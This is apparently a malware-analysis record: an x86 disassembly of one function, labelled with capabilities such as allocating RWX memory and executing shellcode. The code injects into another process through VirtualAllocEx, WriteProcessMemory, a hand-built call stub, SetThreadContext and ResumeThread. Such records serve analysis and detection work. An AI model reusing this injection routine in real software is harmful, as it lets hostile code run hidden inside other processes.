Function at 0x10008160
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x304
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
xor eax, eax
and dword [ebp - 0x28], eax
push esi
push edi
push 8
pop ecx
push 0x40
push 0x1000
push 0x20
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 8]
push eax
push edi
call ebx
mov esi, eax
mov dword [ebp - 0x38], esi
test esi, esi
jne 0x100081a3
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x1000836a
push 4
push 0x1000
push dword [ebp + 0x14]
push 0
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x10008198
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x10008198
mov eax, dword [ebp + 0x10]
push 0x40
push 0x1000
mov eax, dword [eax]
push eax
push 0
push edi
mov dword [ebp - 0x30], eax
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov ecx, eax
mov dword [ebp - 4], ecx
test ecx, ecx
je 0x10008198
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x30]
mov eax, dword [ebp + 0x10]
add eax, 4
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x10008198
push dword [ebp + 0x10]
call fcn.10007e72
mov dword [ebp - 0x34], eax
pop ecx
cmp eax, 0x40
jne 0x10008284
sub ebx, esi
mov dword [ebp - 0x24], 0x28ec8348
sub ebx, 0xb
mov word [ebp - 0x20], 0x8d48
mov eax, ebx
mov byte [ebp - 0x1d], bl
shr eax, 8
mov byte [ebp - 0x1c], al
mov eax, ebx
shr ebx, 0x18
shr eax, 0x10
mov byte [ebp - 0x1a], bl
mov ebx, dword [ebp - 4]
mov ecx, ebx
sub ecx, esi
mov byte [ebp - 0x1b], al
add ecx, 0xfffffff0
mov byte [ebp - 0x1e], 0xd
mov eax, ecx
mov byte [ebp - 0x18], cl
shr eax, 8
mov byte [ebp - 0x17], al
mov eax, ecx
shr eax, 0x10
shr ecx, 0x18
mov byte [ebp - 0x19], 0xe8
mov byte [ebp - 0x16], al
mov byte [ebp - 0x15], cl
mov dword [ebp - 0x14], 0x8348c033
mov word [ebp - 0x10], 0x28c4
mov byte [ebp - 0xe], 0xc3
jmp 0x100082d2
mov ecx, dword [ebp - 4]
sub ecx, esi
cmp eax, 0x20
jne 0x100082cf
mov eax, ebx
mov byte [ebp - 0x23], bl
shr eax, 8
add ecx, 0xfffffff6
mov byte [ebp - 0x22], al
mov eax, ebx
shr eax, 0x10
mov byte [ebp - 0x21], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0x1d], al
mov eax, ecx
shr ebx, 0x18
shr eax, 0x10
mov byte [ebp - 0x1e], cl
shr ecx, 0x18
mov byte [ebp - 0x24], 0x68
mov byte [ebp - 0x20], bl
mov byte [ebp - 0x1f], 0xe8
mov byte [ebp - 0x1c], al
mov byte [ebp - 0x1b], cl
mov byte [ebp - 0x1a], 0xc3
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x28]
push eax
push 0x20
lea eax, [ebp - 0x24]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x10008198
and dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
push eax
push 0x20
push 0x20
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
push edi
call esi
lea eax, [ebp - 0x2c]
push eax
push 0x20
push dword [ebp - 0x30]
push ebx
push edi
call esi
mov eax, dword [ebp - 0x34]
cmp eax, 0x40
jne 0x1000836f
push 0x2c8
lea eax, [ebp - 0x300]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x304], 0x10007
lea eax, [ebp - 0x304]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
lea eax, [ebp - 0x304]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
test eax, eax
je 0x10008198
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
cmp eax, 0x20
jne 0x10008368
push 0x2c8
lea eax, [ebp - 0x300]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x304], 0x10007
lea eax, [ebp - 0x304]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24c], eax
jmp 0x10008347